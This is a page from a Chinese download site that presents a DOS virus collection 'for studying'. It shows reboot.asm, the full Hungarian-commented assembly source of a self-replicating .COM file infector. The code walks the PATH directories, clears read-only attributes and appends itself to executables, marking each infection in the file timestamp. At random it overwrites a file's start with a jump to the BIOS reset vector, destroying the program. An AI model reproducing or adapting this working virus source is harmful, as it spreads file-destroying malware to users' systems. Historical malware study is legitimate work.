⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 reboot.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
	PAGE ,132
VIRUS	SEGMENT PARA PUBLIC 'CODE'
	ASSUME CS:VIRUS,DS:VIRUS
	
HOSSZ	EQU VEG-KEZDET
KEZDET	EQU $

INDIT:	PUSH CX
TBLC:	MOV DX,OFFSET TABL
	CLD			;  SZTRINGMUVELETEK NOVEKVO IRANYBA
	MOV SI,DX		;  SI TARTALMAZZA A TABLAZAT KEZDOCIMET
	ADD SI,OFFSET FILKEZ-TABL
	MOV DI,100H		;  AZ ELSO HAROM BYTE VISSZAALLITASA
	MOV CX,3
	REPZ MOVSB
	MOV SI,DX		;  SI-BE ISMET A TABLAZAT KEZDOCIME
	MOV AH,30H		;  A DOS VERZIOSZAM LEKERDEZESE
	INT 21H
	CMP AL,0		;  MEG AZ 1.X VERZIO?
	JNZ IND1		;  NEM
	JMP IND2		;  IGEN, A VIRUS NEM TUD TERJEDNI
IND1:	PUSH ES			;  ES ELMENTESE
	MOV AH,2FH		;  A DTA CIMENEK LEKERDEZESE
	INT 21H			;  ES ELTAROLASA A TABLAZATBAN
	MOV WORD PTR [SI+DTACIM-TABL],BX
	MOV WORD PTR [SI+DTACIM-TABL+2],ES
	POP ES			;  ES VISSZAOLVASASA
	MOV DX,UJDTA-TABL
	ADD DX,SI		;  A DTA UJ CIMENEK BEALLITASA
	MOV AH,1AH
	INT 21H
	PUSH ES			;  REGISZTEREK ELMENTESE
	PUSH SI
	MOV ES,DS:2CH		;  A DOS KORNYEZET CIME
	MOV DI,0		;  ELEJETOL
IND3:	POP SI			;  SI VISSZAOLVASASA
	PUSH SI			;  ES VISSZAIRASA
	ADD SI,OFFSET SZOVEG-TABL
	LODSB			;  EGY KARAKTER BETOLTESE
	MOV CX,8000H		;  A KORNYEZET MAX. 32K
	REPNZ SCASB		;  AZ ELSO KARAKTER KERESESE
	MOV CX,OFFSET FSPEC-SZOVEG-1
IND4:	LODSB			;  A KOVETKEZO KARAKTER BEOLVASASA
	SCASB			;  ES ELLENORZESE
	JNZ IND3		;  NEM EGYEZIK
	LOOP IND4		;  FOLYTATNI
	POP SI			;  A REGISZTEREK VISSZAALLITASA
	POP ES
	MOV [SI+UTCIM-TABL],DI
	MOV DI,SI		;  DI-BE A TABLAZAT KEZDOCIME
	ADD DI,OFFSET FSPEC-TABL
	MOV BX,SI		;  SI ELMENTESE BX-BE
	ADD SI,OFFSET FSPEC-TABL
	MOV DI,SI
	JMP SHORT IND5		;  KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
INDE:	CMP WORD PTR [SI+UTCIM-TABL],0
	JNZ IND6		;  VAN MEG TOBB UT
	JMP IND7		;  MINDEN LEHETSEGES FILE FERTOZOTT
IND6:	PUSH DS			;  A REGISZTEREK ELMENTESE
	PUSH SI
	MOV DS,ES:2CH		;  DS-BE A DOS KORNYEZET SZEGMENSE
	MOV DI,SI		;  DI A TABLAZATRA MUTAT
	MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
	ADD DI,OFFSET FSPEC-TABL
IND8:	LODSB			;  EGY KARAKTER BETOLTESE
	CMP AL,3BH		;  ';' AZ UTAKAT VALASZTJA EL
	JZ IND9			;  ANNAK A KODJA
	CMP AL,0		;  A LEZARO NULLA?
	JZ INDA			;  AZ A KOD
	STOSB			;  ELTAROLAS
	JMP SHORT IND8		;  FOLYTATNI
INDA:	MOV SI,0		;  TOBB UT NEM LETEZIK
IND9:	POP BX			;  BX A TABLAZAT KEZDOCIME
	POP DS			;  DS VISSZAALLITASA
	MOV [BX+UTCIM-TABL],SI
	CMP BYTE PTR [DI-1],5CH	;  A FILE SPECIFIKACIO '\' LETT LEZARVA?
	JZ IND5			;  IGEN
	MOV AL,5CH		;  A '\' KODJA
	STOSB			;  ELTAROLASA
IND5:	MOV [BX+FAKT-TABL],DI
	MOV SI,BX		;  A TABLAZAT KEZDOCIME BX
	ADD SI,OFFSET FKER-TABL	;  KERESO NEV
	MOV CX,OFFSET UTCIM-FKER
	REPZ MOVSB		;  ATMASOLASA A FILE SPECIFIKACIOBA
	MOV SI,BX		;  SI A TABLAZAT KEZDOCIME
	MOV AH,4EH		;  FILE KERESESE
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	MOV CX,11B		;  A KERESETT ATTRIBUTUM
	INT 21H
	JMP SHORT INDC		;  A KOVETKEZO RESZT ATUGRANI
INDF:	MOV AH,4FH		;  A KOVETKEZO FILENEV KERESESE
	INT 21H
INDC:	JNC INDD		;  MEGTALALTUK
	JMP INDE		;  NINCS ITT TOBB HASONLO
INDD:	MOV AX,[SI+UJDTA-TABL+22]
	AND AL,11111B		;  A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
	CMP AL,11111B		;  62 MASODPERC? /FERTOZEST EZZEL JELZI/
	JZ INDF			;  IGEN, TOVABB KELL KERESNI
	CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
	JA INDF			;  TUL NAGY FILE, NEM FERTOZHETO
	CMP WORD PTR [SI+UJDTA-TABL+26],0AH
	JB INDF			;  TUL KICSI FILE
	MOV DI,[SI+FAKT-TABL]
	PUSH SI			;  A TABLAZAT KEZDOCIMENEK ELMENTESE
	ADD SI,OFFSET UJDTA-TABL+30
INDG:	LODSB			;  A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
	STOSB
	CMP AL,0		;  A NEV ZARO NULLA?
	JNZ INDG		;  NEM, FOLYTATNI
	POP SI			;  A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
	MOV AX,4300H		;  A FILE ATTRIBUTUM BEOLVASASA
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	MOV [SI+FILATT-TABL],CX
	MOV AX,4301H		;  A FILE ATTRIBUTUM BEALLITASA
	DB 81H,0E1H,0FEH,0FFH	;  AZ R/O BIT TORLESE
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	MOV AX,3D02H		;  A FILE MEGNYITASA IRASRA & OLVASASRA
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	JNC INDH		;  NINCS HIBA
	JMP INDK		;  HIBA TORTENT
INDH:	MOV BX,AX		;  A FILESZAM ATVITELE
	MOV AX,5700H		;  A KELETKEZESI IDO BEOLVASASA
	INT 21H			;  ES BEALLITASA
	MOV [SI+FILIDO-TABL],CX
	MOV [SI+FILDAT-TABL],DX
	MOV AH,2CH		;  A RENDSZERIDO BEOLVASASA
	INT 21H
	AND DH,111B		;  A MASODPERCEK OSZTHATOK NYOLCCAL?
	JNZ INDI		;  NEM, A FILE-T CSAK MEGFEROZZUK
	MOV AH,40H		;  EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
	MOV CX,5		;  A JMP FAR F000:FFF0 5 BYTE HOSSZU
	MOV DX,SI		;  DX A TABLAZAT KEZDETERE MUTAT
	ADD DX,OFFSET RESET-TABL
	INT 21H			;  A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
	JMP INDJ		;  ENNEK MAR BEVEGEZTETETT
INDI:	MOV AH,3FH		;  OLVASAS A FILEBOL
	MOV CX,3		;  AZ ELSO HAROM BYTE
	MOV DX,FILKEZ-TABL	;  A MEGFELELO CIMRE
	ADD DX,SI
	INT 21H			;  BEOLVASNI
	JC INDJ			;  HIBA TORTENT
	CMP AX,3		;  MIND A HAROM BYTEOT BEOLVASTA?
	JNZ INDJ		;  NEM, HIBA VOLT
	MOV AX,4202H		;  MUTATO A FILE VEGERE
	MOV CX,0
	MOV DX,0
	INT 21H
	JC INDJ			;  TORTENT HIBA?
	MOV CX,AX		;  A FILE HOSSZA
	SUB AX,3		;  MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
	MOV [SI+UJKEZ-TABL+1],AX
	ADD CX,OFFSET TABL+100H	;  A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
	MOV DI,SI		;  A TABLAZAT KEZDETE
	SUB DI,OFFSET TABL-TBLC-1
	MOV [DI],CX		;  A MOV DX,  UTASITAS PARAMETERE
	MOV AH,40H		;  KIIRAS A FILE-BA
	MOV CX,OFFSET HOSSZ		;  A VIRUS HOSSZA
	MOV DX,SI		;  A TABLAZAT KEZDOCIME
	SUB DX,OFFSET TABL	;  MINUSZ A VIRUSTORZS HOSSZA
	INT 21H			;  KIIRAS
	JC INDJ			;  HIBA TORTENT
	CMP AX,OFFSET HOSSZ	;  MINDEN BYTEOT KIIRT?
	JNZ INDJ		;  NEM
	MOV AX,4200H		;  MUTATO A FILE ELEJERE
	MOV CX,0
	MOV DX,0
	INT 21H
	JC INDJ			;  HIBA TORTENT?
	MOV AH,40H		;  KIIRAS A FILE-BA
	MOV CX,3		;  AZ ELSO 3 BYTE KIIRASA
	MOV DX,SI
	ADD DX,OFFSET UJKEZ-TABL
	INT 21H			;  KIIRAS
INDJ:	MOV DX,[SI+FILDAT-TABL]
	MOV CX,[SI+FILIDO-TABL]
	DB 81H,0E1H,0E0H,0FFH	;  AND CX,0FFE0H
	OR CX,OFFSET 11111B	;  AZ IDO 62 MASODPERC
	MOV AX,5701H		;  A KELETKEZESI DATUM ES IDO VISSZAIRASA
	INT 21H			;  ES A FERTOZES JELZESE
	MOV AH,3EH		;  FILE LEZARASA
	INT 21H
INDK:	MOV AX,4301H		;  A REGI ATTRIBUTUM VISSZAALLITASA
	MOV CX,[SI+FILATT-TABL]
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
IND7:	PUSH DS			;  DS ELMENTESE
	MOV AH,1AH		;  A DTA REGI CIMENEK BEALLITASA
	MOV DX,WORD PTR [SI+DTACIM-TABL]
	MOV DS,WORD PTR [SI+DTACIM-TABL+2]
	INT 21H
	POP DS			;  DS VISSZAALLITASA
IND2:	POP CX
	XOR AX,AX		;  AX=0
	XOR BX,BX		;  BX=0
	XOR DX,DX		;  DX=0
	XOR SI,SI		;  SI=0
	MOV DI,100H		;  100H A VEREMBE
	PUSH DI
	XOR DI,DI		;  DI=0
	RET 0FFFFH

TABL	EQU $
	
DTACIM	DD 0
FILIDO	DW 0
FILDAT	DW 0
FILATT	DW 0
FILKEZ	DB 0,0,0
UJKEZ	DB 0,0,0
FKER	DB '*.COM',0
UTCIM	DW 0
FAKT	DW 0
SZOVEG	DB 'PATH='
FSPEC	DB 40H DUP(' ')
UJDTA	DB 2BH DUP(0)
RESET	DB 0EAH,0F0H,0FFH,0,0F0H

VEG	EQU $

VIRUS	ENDS

	END

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -